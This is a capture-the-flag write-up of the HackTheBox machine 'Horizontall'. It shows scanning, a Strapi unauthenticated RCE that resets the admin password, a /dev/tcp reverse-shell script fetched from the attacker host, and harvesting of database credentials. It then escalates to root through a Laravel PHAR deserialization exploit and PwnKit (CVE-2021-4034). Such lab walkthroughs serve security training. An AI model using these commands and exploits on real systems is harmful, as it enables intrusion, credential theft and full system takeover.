I. Scanning

First things first, as per usual, a nmap scan:

# Nmap 7.92 scan initiated Fri Jan 14 02:48:59 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 14 02:49:13 2022 -- 1 IP address (1 host up) scanned in 13.50 seconds

Notice this line?

http-title: Did not follow redirect to http://horizontall.htb

So we have to add an additional entry to our /etc/hosts file, something like this:

10.10.11.105    horizontall.htb

Rerun nmap again, and here’s the result:

# Nmap 7.92 scan initiated Fri Jan 14 02:59:54 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 14 03:00:05 2022 -- 1 IP address (1 host up) scanned in 10.60 seconds

A full port scan also didn’t reveal anything, so i manually opened it in a browser:

Nothing was clickable. Also, here’s what gobuster returned us:

$ gobuster dir -r -u http://horizontall.htb -o gobuster.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2022/01/14 03:18:57 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 403) [Size: 178]
/css                  (Status: 403) [Size: 178]
/js                   (Status: 403) [Size: 178]
                                               
===============================================================
2022/01/14 03:25:24 Finished
===============================================================

Nothing new, isn’t it? I also check the javascript source code but seems like nothing novel showed up.

At this point, I remembered a small ctf trick - if the challenge calls for any amendment in /etc/hosts file, the answer must lie somewhere among the subdomains. Therefore, I set up a subdomain fuzzer like this:

wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://horizontall.htb" -H "Host: FUZZ.horizontall.htb" --hc 301                                                       

And it perfectly worked:

$ wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://horizontall.htb" -H "Host: FUZZ.horizontall.htb" --hc 301                                                       
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://horizontall.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                      
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"                                                                                                                                                                        
000047093:   200        19 L     33 W       413 Ch      "api-prod"                                                                                                                                                                   

Total time: 641.3004
Processed Requests: 114441
Filtered Requests: 114439
Requests/sec.: 178.4514

Takes about 10 minutes with a mediocre virtual machine. However, we have found a new attack surface - that api-prod endpoint.

But all else aside, we must add that enpoint to our /etc/hosts file first.

10.10.11.105    api-prod.horizontall.htb 

II. API attack

Upon opening that endpoint in a browser, here’s what we have:

Well, thanks I guess?

We will follow the exact same procedure for the new API endpoint. Here is the Gobuster result:

/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60]
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69]
/%C0~                 (Status: 400) [Size: 69]
/%C0.bak              (Status: 400) [Size: 69]
/%C0.bak2             (Status: 400) [Size: 69]
/%C0.old              (Status: 400) [Size: 69]
/%C0.1                (Status: 400) [Size: 69]
/.%C0.swp             (Status: 400) [Size: 69]

As you can see, there are many interesting things to check here. But first, let’s get to /admin endpoint.

So the technology behind is strapi. A quick searchsploit result revealed a critical RCE vulnerability.

$ searchsploit strapi
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                                                                                                                                                          | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)                                                                                                                                        | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)                                                                                                                                  | multiple/webapps/50239.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Choose one that you like, then simply execute it. Here, I used 50239.py:

$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzODc3NTg2LCJleHAiOjE2NDY0Njk1ODZ9.p_uvCIHcKXwruPv8na6MVpU-aLInNKphFDvOh7zYs5U


$> 

However, running a command resulted in an error:

$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

At first I was doubtful about some shoddy programming. However, it really did successfully make a call back.

Therefore, I spinned up an one liner reverse shell like this:

#!/bin/sh

sh -i >& /dev/tcp/10.10.16.13/9000 0>&1

And download it to target machine.

$> wget 10.10.16.13/rv.sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

We can clearly see it was successfully transferred from our attacking machine:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.105 - - [03/Feb/2022 03:55:37] "GET /rv.sh HTTP/1.1" 200 -

And upon triggering the script:

$> bash rv.sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output

We got a reverse shell:

$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.105] 43566
sh: 0: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)

III. User flag

After a 5-second recon, I relized that strapi user had sufficient permission to read the user flag at /home/developer/user.txt.

$ ls /home
developer
$ cd /home/developer
$ ls -al
total 108
drwxr-xr-x  8 developer developer  4096 Aug  2  2021 .
drwxr-xr-x  3 root      root       4096 May 25  2021 ..
lrwxrwxrwx  1 root      root          9 Aug  2  2021 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1  2021 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1  2021 .bashrc
drwx------  3 developer developer  4096 May 26  2021 .cache
-rw-rw----  1 developer developer 58460 May 26  2021 composer-setup.php
drwx------  5 developer developer  4096 Jun  1  2021 .config
drwx------  3 developer developer  4096 May 25  2021 .gnupg
drwxrwx---  3 developer developer  4096 May 25  2021 .local
drwx------ 12 developer developer  4096 May 26  2021 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4  2021 .ssh
-r--r--r--  1 developer developer    33 Feb  3 08:06 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2  2021 .viminfo -> /dev/null

Or, to be precise, anyone on the box can read that user.txt file. Just cat it out and we got the user flag.

IV. Privilege Escalation

Or a seem-very-real rabbit hole that I felt into. If you are not interested, you can jump to real privilege escalation section.

Here’s the starting point of a miserable failure:

$ uname -a
Linux horizontall 4.15.0-154-generic #161-Ubuntu SMP Fri Jul 30 13:04:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

And we can find so many “potential” payloads with just that information.

$ searchsploit linux kernel 4.15.0                                                                                                                                                                                                    130------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation                                                                                                                                   | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                                                                       | linux/local/9479.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                                                                                                           | linux/local/50135.c
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation                                                                                                                             | linux/local/47163.c
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)                                                                                                         | linux/local/47164.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)                                                                                                         | linux/local/47165.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)                                                                                                    | linux/local/47166.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)                                                                                                       | linux/local/47167.sh
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                                                                                                                                                  | linux/local/41886.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak                                                                                                                                                    | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption                                                                                                                                        | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free                                                                                                                                                              | linux/dos/44579.c
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

After wasting an hour of mine to “trial and error” most of those exploits, I came to a painful conclusion that these are no use in this case.

V. Real privilege escalation - if only

Things got back to their right tracks after I crawled out of that rabbit hole. At least, that’s what I want to say, but no.

It all started from this list of opening ports:

$ ss -lntup
Netid  State    Recv-Q   Send-Q      Local Address:Port     Peer Address:Port                                                                                   
tcp    LISTEN   0        128             127.0.0.1:8000          0.0.0.0:*                                                                                      
tcp    LISTEN   0        80              127.0.0.1:3306          0.0.0.0:*                                                                                      
tcp    LISTEN   0        128               0.0.0.0:80            0.0.0.0:*                                                                                      
tcp    LISTEN   0        128               0.0.0.0:22            0.0.0.0:*                                                                                      
tcp    LISTEN   0        128             127.0.0.1:1337          0.0.0.0:*       users:(("node",pid=1750,fd=31))                                                
tcp    LISTEN   0        128                  [::]:80               [::]:*                                                                                      
tcp    LISTEN   0        128                  [::]:22               [::]:*  

In my opinion, that 1337 port seems extremely suspicious. However, after a bit of SSH tunneling, I realized that it was only the API endpoint that we discovered earlier.

On the other hand, that port 3306 was the real culprit.

Here is another very useful command that turned out to be a menace this time:

$ grep -Rnw -e "password"
environments/production/database.json:13:        "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json:12:        "password": "#J!:F9Zt2u"
environments/staging/database.json:13:        "password": "${process.env.DATABASE_PASSWORD || ''}",

Without a second thought, I instantly cat out that development/database.json file.

{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

Little did I know, all these very legit credentials are traps. I happily connected to the database, browsing around a bit, and eventually got something really promising.

$ mysql -h 127.0.0.1 -P 3306 -u developer -p strapi --password="#J!:F9Zt2u" -e "SELECT * FROM strapi_administrator"
mysql: [Warning] Using a password on the command line interface can be insecure.
id      username        email   password        resetPasswordToken      blocked
3       admin   admin@horizontall.htb   $2a$10$Z/5DNUBoQeb0hOBmD3mlous9fju9gK3FEGOVKoe.XRw4TNCTgjqu.    NULL    NULL

I went through hell to crack that password, only to belatedly realize that the hash was notoriously hard to brute force due to its high hashing time. Nevertheless, I managed to crack it.

admin	SuperStrongPassword1

Why does this password sounds peculiarly familiar…

A flashback suddenly dawned on me - it was the dummy admin account that our strapi exploit script made from start! All those work, were in vain… What a memorable experience.

VI. Real privilege escalation

There still is another strange opening port - port 8000. After another bit of port forwarding:

ssh -i key/id_rsa -L 9999:127.0.0.1:8000 strapi@horizontall.htb

Then access it through localhost:9999, we get a fresh Laravel page.

Notice this small line in the bottom right corner?

Laravel v8 (PHP v7.4.18)

Several vulnerabilities were found in no time:

$ searchsploit laravel 8
------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- ---------------------------------
Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection                 | php/webapps/50538.txt
Laravel - 'Hash::make()' Password Truncation Security                                | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution                                     | php/webapps/49424.py
Laravel Nova 3.7.0 - 'range' DoS                                                     | php/webapps/49198.txt
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) | php/webapps/50525.txt
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                            | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload                   | php/webapps/46389.py
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Mostly are Python 3 exploits. We can do port forwarding, or directly load the exploit to the server. However, given that the server has Python3:

strapi@horizontall:~$ python3 -V
Python 3.6.9

The latter seems better. However…

strapi@horizontall:~$ python3 rt.py http://127.0.0.1:8000 /var/www/html/laravel/storage/logs/laravel.log 'whoami'                                                                                                                             
                                                                                                                                                                                                                                              
Exploit...                                                                                                                                                                                                                                    
Traceback (most recent call last):                                                                                                                                                                                                            
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 601, in urlopen                                                                                                                                                       
    chunked=chunked)                                                                                                                                                                                                                          
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 387, in _make_request                                                                                                                                                 
    six.raise_from(e, None)                                                                                                                                                                                                                   
  File "<string>", line 3, in raise_from                                                                                                                                                                                                      
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 383, in _make_request                                                                                                                                                 
    httplib_response = conn.getresponse()                                                                                                                                                                                                     
  File "/usr/lib/python3.6/http/client.py", line 1373, in getresponse                                                                                                                                                                         
    response.begin()                                                                                                                                                                                                                          
  File "/usr/lib/python3.6/http/client.py", line 311, in begin                                                                                                                                                                                
    version, status, reason = self._read_status()                                                                                                                                                                                             
  File "/usr/lib/python3.6/http/client.py", line 280, in _read_status                                                                                                                                                                         
    raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response

… the exploit refused to work… And thus, a quick search led me to a year old Github repo.

strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared

This time, it worked perfectly. Hence, dive into the real thing, let’s copy /bin/bash to some other directory, change its owner and set SUID permission for it.

strapi@horizontall:~$ cp /bin/bash ~
strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "chown root:root /opt/strapi/bash; chmod +s /opt/strapi/bash"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
[+] Logs cleared

And just like that, we now have root access.

strapi@horizontall:~$ ls
bash  myapi
strapi@horizontall:~$ ./bash -p
bash-4.4# id
uid=1001(strapi) gid=1001(strapi) euid=0(root) egid=0(root) groups=0(root),1001(strapi)

VII. Extra

For the time of writing (nearly 5 months after the box release), there’s another novel, safe and reliable method to get root access via CVE-2021-4034. This is probably not intentional, but it worked nonetheless.

From our attacker machine:

wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip -O polkit.zip

Load that to server machine, make it there, and get root.

strapi@horizontall:~$ wget http://10.10.16.13/polkit.zip
--2022-02-03 12:55:45--  http://10.10.16.13/polkit.zip
Connecting to 10.10.16.13:80... connected.
HTTP request sent, awaiting response... l200 OK
Length: 6457 (6.3K) [application/zip]
Saving to: ‘polkit.zip’

polkit.zip                    100%[===============================================>]   6.31K  --.-KB/s    in 0.04s

2022-02-03 12:55:45 (175 KB/s) - ‘polkit.zip’ saved [6457/6457]

strapi@horizontall:~$ unzip polkit.zip
Archive:  polkit.zip
55d60e381ef90463ed35f47af44bf7e2fbc150d4
   creating: CVE-2021-4034-main/
  inflating: CVE-2021-4034-main/.gitignore
  inflating: CVE-2021-4034-main/LICENSE
  inflating: CVE-2021-4034-main/Makefile
  inflating: CVE-2021-4034-main/README.md
  inflating: CVE-2021-4034-main/cve-2021-4034.c
  inflating: CVE-2021-4034-main/cve-2021-4034.sh
   creating: CVE-2021-4034-main/dry-run/
  inflating: CVE-2021-4034-main/dry-run/Makefile
  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
  inflating: CVE-2021-4034-main/pwnkit.c
strapi@horizontall:~$ cd CVE-2021-4034-main/
strapi@horizontall:~/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
strapi@horizontall:~/CVE-2021-4034-main$ ls
 cve-2021-4034     cve-2021-4034.sh   gconv-modules   LICENSE    pwnkit.c    README.md
 cve-2021-4034.c   dry-run           'GCONV_PATH=.'   Makefile   pwnkit.so
strapi@horizontall:~/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),1001(strapi)

Very simple and reliable.

Final words

And that’s it. No special technique - this machine just runs slightly outdated softwares. The lesson can be drawn from this box is to think carefully before dive into rabbit holes and update your machine as soon as security patches come out!